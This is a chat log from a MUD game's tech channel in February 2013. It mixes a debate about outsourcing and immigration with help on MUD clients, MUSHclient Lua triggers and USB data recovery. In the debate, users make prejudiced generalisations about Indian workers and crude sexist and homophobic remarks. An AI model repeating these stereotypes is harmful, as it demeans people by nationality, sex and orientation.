T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: don't let me ever hear you bitching about unemployment figures ;-)
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: sort of a strange thing though... because of the cost of living in china USED to be so low, the wages they were paid were coveted and people wanted those jobs
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: vakieh: it's the American way...capitalism at its finest :-)
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: people still want those jobs...that's why they work there
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: it's that or starve, abe
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: but the wage increase did not even sort of keep up with the cost of living increases, so now it's compared to slave labor
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: Tigern, what you want is polarised employment - at the end of the day, a job is had.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: despite people claiming it's "slave" labor, it's fully free market at-will labor
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: bitching about unemployment figures is going to increase, as technology replaces jobs.  Did you know that there's a bank-teller shortage going on?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: not entirely happy with that, vakieh
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: probably not a topic for here though
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: meh, this is tech related :P
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: I study and work IT - I will not have to deal with employment opportunity shortages in the forseeable future :-P
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Sorati Tech: needs a politech channel
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: it's debate
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: anyone... ANYONE... who thinks their position is immune from labor gluts is delusional
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: depends where you are
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: you know what happens when you top a "top jobs" list enough times?  people show up in droves.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: so enjoy the gravy train while you can
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: Scars, have you seen the employment data? Here in Au we are so deep in skills shortage, have been for 30 years
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: For IT, that is
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: And the droves showing up can't code for jack
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: we have skills shortage in the UK because they won't pay top $
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: because your internet connection sucks and everything outdoors is venomous, i guess
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: desperately short of engineers, too, apparently
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: as the world develops, particularly india and russia, i think we'll see more IT employees coming from there
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: you're only seeing indians phoning up telling you there's something wrong with a computer you don't own
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: lots of it in russia. mainly bulletproof isp's and botnets :P
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: already seeing that tons in the US...lots of russian programming immigrants
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Scars nods at you in agreement. 
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: It kinda sucks from a socially progressive point of view, but when I walk into interviews as an IT-educated 'not an Indian person' I could sit there and not talk and probably still make it through the interviews.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: only if they lose their accents to a respectable level.  Companies are already gunshy over the lost business from the customer-service outsourcing.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: it just happens here first, it'll work its way to you other countries soon enough
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: however, their skillsets (both in programming and communication) aren't quite to our standards
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: we get a lot of immigrants applying for IT jobs and blatantly lying about their skills
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: especially from India
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Buried Dreadlocker snickers softly.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: not yet, sure, but my field is seeing waves of asian applicants... eventually employers get wore down by HR asking why an applicant wasn't hired
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: We get that too here in AUS.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: we can't cite communication issues with HR pulling the race card
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Worst is when theres Indians with fake medicine degrees..
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: eh, the UK is also incredibly nationalist right now
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: bollocks are they
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: rightly or wrongly so
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vakieh Tech: Dread, we don't accept Indian degrees here anymore, and you have to call and verify the Association records before hiring
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: UK is still open wider than a ho's legs
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: i wasn't talking about policymakers or current laws
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: was talking about the sentiment
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: nah, it's not nationalist
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: still overwhelmingly fractionally left of centre
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: perhaps, but the anectodal evidence i have suggests otherwise
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: you're confusing the fact that we hate the french
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: you're not all that fond of Inians or Pakistanis either :)
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: Indians*
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: not fussed, tbh
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: you'll always get friction in a densely populated country where living standards are tumbling
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: of course... and the finger pointing of people moving in is always easiest
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: NYC saw it happen multiple times
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: nothing else to blame, the birth rate was <2
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: could blame your "everyone should be a winner" polices?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tigernuts Tech: that's an argument for a different day
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Kelvar Tech: isnt this the Tech channel?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Scars Tech: pound sand, buddy
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: hello
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Remarto Tech: ?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: awww, you ruined it!
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: yoooohoooo
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: techie question of the day - does anyone have experience with ios mud clients?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: yes
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there aren't any good ones afaik
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: GreenAcid falls down laughing.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Fluffhead rapidly nods twice at The Jerk Fiendish, in complete agreement.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: It's true
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Remarto smirks at GreenAcid's saying.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: sweet...  there are 4 on the app store...  one free and two paid....
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Remarto Tech: it is
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: Pocket Mud Pro is what I use.  it's ok, but definitely not great
T3/r7/2013-02-17.txt.gz:{chan ch=tech}GreenAcid Tech: none have a monospace font, last I checked
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that like pocket pool pro?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: have you used 'mud client'?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Remarto Tech: TMC isnt any good
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Velian Tech: i downloaded pocket pool... wasn't what i thought it'd be.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: you have to pay for that one, Fiendish.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Velian Tech: all it did was vibrate constantly.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}GreenAcid Tech: that has some uses
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I expect to pay for any "pro" service.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Tech: Remarto falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: im using the free one, but was wondering if ne of the paid ones would be worth getting
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, but if you have to pay for it then it can't really be all that good.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so you're saying you prefer amateur work
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Vonliege Tech: never been to amsterdam, have ya?
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: the paid version is better than the free one, I think. I used the free one for a while, but there were some issues with connectivity
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: the paid version lets you answer texts/check maps/other things without disconnecting
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Hanslanda Tech: nope, never been to Amsterdam.  Don't smoke, you see.
T3/r7/2013-02-17.txt.gz:{chan ch=tech}Fluffhead Tech: It's much better on an ipad, though.  The screen is easier to read, and yes, I believe it is monospaced font.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: how do i make a duplicate of a plugin? for instance, channel captures?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/wiki/ChannelCapture#Creating_multiple_log_windows
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: thanks, i appreciate it
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: why is it that when i disable statmon, save, close, and reload it enables itself again?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: test
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: why aint my bbssh not connecting? Host: aardmud.org and port: 4000
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: can someone using bbssh please help me?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: anyone know where i can find a pup tracker that broadcasts locally but can be captured by the comm log capture windows?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Redryn Tech: modify your pup tracker to echo INFO: whateveryourpupinfois
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Westclox Tech: anyone have a puptracker plugin on a website?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: anyone online that uses bbssh that can help me?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Leonassan Tech: Is there a way to use <!--#include virtual=""--> directives in a php file?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Aqiz Tech: is it possible to edit what shows up in the communication log?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}ElFeneri Tech: Don't think so, but why would you want to edit the log? :-P
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Aqiz Tech: or how about this, is it possible to make output port to a window??
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Clarify what you're trying to do.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Aqiz Tech: heh. if I type quest info I want a window with the out put
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Aqiz Tech: or cp inf
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bast already has plugins for that
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Aqiz Tech: thats the answer i was looking for thanks
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: anyone on using bbssh? I really need help.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: lol. you were asking the same thing looong time ago
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: how about you just ask the damn question and see if anyone answers. i for one don't like "reporting in"
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: I know lol, I can't seem to connect onn it I did put in port: 4010 and host:aardmud.org it still aint connecting...
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: common mxit problem afaik. probably blocked by isp
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: connection type telnet, yeah?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you can also try 23 and 4000
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or maybe use ip 66.228.127.34 in case they're messing with the dns
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: telnet doesn't want to work
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Blooddog Tech: nvm got it!!!
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: anyone able to help me troubleshoot why I'm getting an unknown filesystem type 'vfat' when trying to mount a USB drive?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: What file system was it originally?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: not too sure to be honest, I think Fat32
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: Is there data on the drive that you need?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: very much so
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: Download a program called R-studio and do a full/detailed scan on the entire device
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: Once it finishes scanning you can view the MFT and recover all the data you want off of it.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: thanks a lot
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: It will probably display older data too that you may have deleted or post-format so keep that in mind.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: looks like it's reformatted, if it should be fat32
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: If thats the case Dagnir, then R-studio will be your best friend.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i use recover my files
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: i usually use testdisk
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: I use R-studio professional at work.. I highly recommend it.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, he said it's an usb drive
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Thunderous Norton Tech: r-studio is awesome. tho i haven't used it in ages.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: wil try it then we'll see
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: R-studio works with flash devices.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Lecithin Tech: Anyone here know their way around Open Office Base?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I have a * trigger. Do they block other triggers from catching the same line?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Because the one I'm using seems to.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Zetkax Tech: yes but there is an option to not "block"
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Nocilis Tech: if you dont have keep evaluating checked than yes, assuming this is in mushclient
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Oh, I'll check that, Zetkax, thanks
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Hmm. I checked 'keep evaluating' and now it works fine. What does that do exactly?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Zetkax Tech: when mush matches a trigger it usually stops checking - keep evaluating says if you match keep trying to match more
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Ah. Thanks Nocilis and Zetkax :)
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Eutychus Tech: Anyone know why i'd get this error message from a program that automatically downloads and installs(Or updates if it's installed already) software onto your computer: "An exception occurred during a WebClient request"
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://www.google.com/search?q=An+exception+occurred+during+a+WebClient+request
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not very useful, actually
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't agree
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i read it like he has a problem with an updater, not trying to write one. maybe i'm wrong
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he asked why it happens
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: three of the four top links have answers to possible reasons why it can happen
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he won't be able to fix the problem, but that's a different question entirely
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, maybe he is trying to write something himself, but a person who can write code can probably use google as well
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but technically you answered his question either way :P
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you'd be surprised how many people don't seem to know how to use google
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in any case, "why this happens" is not the same question as "how do I fix it"
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm not, but i like pretending i live in a better world
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a gentler world
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i should start using bing as a verb just to mess with people
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I imagine that microsoft might get just as upset as google does when people use google as a veb.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: verbv
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: verb
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: google gets upset over that?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: it's their own fault "bing"ing something sounds gay
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: Stupid thing is Google literally means look. Googling for something predates the search engine.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Hanslanda: yes, they have to.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it doesn't, vakieh
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vakieh: no it doesn't
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: Yes, it does
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir pats Vakieh on his head.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vakieh: you're thinking of ogling
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: Nope
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: wow
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: goggle maybe
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: Ever heard of googly eyes?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Cast Abradix Tech: "I'm having trouble with this essay on my alpaca" Just go bing bro. "I don't wanna fuck it, I wanna write a paper on it..."
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir snickers softly.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i like the way you think :P
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Hanslanda: US trademark law requires companies to aggresively defend trademarks from genericization or they lose their trademarks.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: I'm waiting on the irrevocable proof that google pre-dates the search engine
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: google comes from the word googol
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Siren Cera Tech: the word "google" is the number one with a million zeros.  it doesnt mean "look".
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: too late for Google then.  Google's officially a verb in the english language now.  Doesn't get any more generic than that.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: because I'm sure you're thinking of Ogle...
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's not, cera. the word's googol
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but that's where google got it's name from
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: google is a made-up bastardization that's made someone filthy stinkin' rich.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Siren Cera Tech: ah.. ok then google changed the spelling.. but they are refering to that word.  it implys how many potenital matches it can find
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm still looking for vakieh's etymology
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: I'm not saying that's where Google.com got the name from, it isn't - but my grandfather used that word before Google existed
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: Vakieh's learned well, I see.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: HAAHAHAH
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: whoa
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Cast Abradix Tech: I tend to believe old people, they're in no way incompetent and the majority of them aren't even senile!
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Taokan Tech: right 60% of the time, every time?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: can you use it in a sentence, vakieh. something your grandpa would say
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: sure your grandpa didn't have some loose dentures while oogling some youngins?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: I've heard googly used before, but none of the old people I've ever known used the word google as a verb.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Dar Tech: they never got all googily eyed?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: The most common one was 'I spy with my googling eyes' and 'I don't know, have a google' when asked if he knew where something was
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: afk work
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vakieh Tech: mis
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: well, it's entirely possible it was a nonsense word, localism, or child word
T3/r7/2013-02-18.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: I think a googly is a cricket term
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: cricket slang afaik
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Grae Tech: for a wonky bowled ball
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: they bowl in cricket?  I thought they threw dirtballs and the other guy took a swing at it?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no, a bowl is something you can eat from
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: or get a hair cut in.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Leinei Tech: Or the haircut that Moe gets
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Cast Abradix Tech: No, its a small amount of marijuana loaded in a pipe
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: well that's no good
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Sakata Tech: Did someone say Marajuana? D:
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tigernuts Tech: you should have a large amount of marijuana loaded in a pipe
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Cast Abradix Tech: Erryday :3
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm going to bing bowl to make sure
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Cast Abradix Tech: My pipe is tiny... And a broke my bong Saturday :X
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Hanslanda Tech: so, Abradix, what you're saying is that your on the summit of broke-bong maudlin?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you're*
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: get a volcano
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: pretty sure i am going to put it on my wedding registry
T3/r7/2013-02-18.txt.gz:{chan ch=tech}GreenAcid Tech: How would I check if argument is empty in mushclient alias's
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define argument
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: When I try to use \n in a lua string literal, it gives me an error. What should I do instead? (MUSHclient)
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't do that
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: try doing two separate print/echo/note/etcs to do multi-line
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I'm trying to get a multiline string
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Create*
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: right, what I just described would do that
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: print/echo/note creates strings to use?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: It's being SetVariable()'ed
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: where are you trying to "put" it...
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: You could probably use [[ ]]
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you might also try escaping the \
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not sure if that will work
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: give me a moment
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Hmm... Escaping the \ worked. Thanks Fiendish :)
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: where are you putting this?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have a number of plugins that use \n in strings
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Send part of trigger
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Yeah it's weird. I try the commandline scripting and it works fine.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Ah. that's your problem. You're trying to do this in a mushclient parsed section instead of in a script engine section
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Oh ok. Got it.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unless I misunderstand
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: world trigger or plugin trigger?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: World trigger.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not actually sure what the parse rules are for that
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I know that, for example, you can't use < or > in the upper xml block of a plugin file because those get parsed out before getting sent to the script engine
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so you have to use &lt
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for example
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I assume this is the same sort of thing
T3/r7/2013-02-18.txt.gz:{chan ch=tech}BobTheGreat Tech: Ah, so mush is parsing the raw \n and thinking there's a double quote on one line and right after that the line ends
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I guess so
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: plugin script blocks are cleaner because they just get dumped to the script engine raw
